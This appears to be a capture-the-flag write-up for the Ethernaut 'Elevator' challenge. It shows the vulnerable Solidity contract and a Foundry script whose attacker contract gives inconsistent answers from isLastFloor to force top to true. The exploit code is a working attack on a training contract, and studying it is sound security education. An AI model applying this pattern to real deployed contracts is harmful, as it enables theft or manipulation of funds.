in this challenge our goal is to set top = True
Challenge Info
- Platform: Ethernaut
- Challenge: Elevator
- Category: Blockchain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/Elevator.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract player {
Elevator elv ;
bool public isCalled;
constructor(Elevator _elv){
elv = _elv;
isCalled = false;
}
function isLastFloor(uint256) external returns (bool) {
if (!isCalled) {
isCalled = true;
return false;
}
return true;
}
function pwn() external {
elv.goTo(5);
}
}
contract Solver is Script {
Elevator instance = Elevator(0x10D1844cAe2C522EF51396873a55e14fEE689C60);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
player p = new player(instance);
p.pwn();
console.log(instance.top());
}
}
|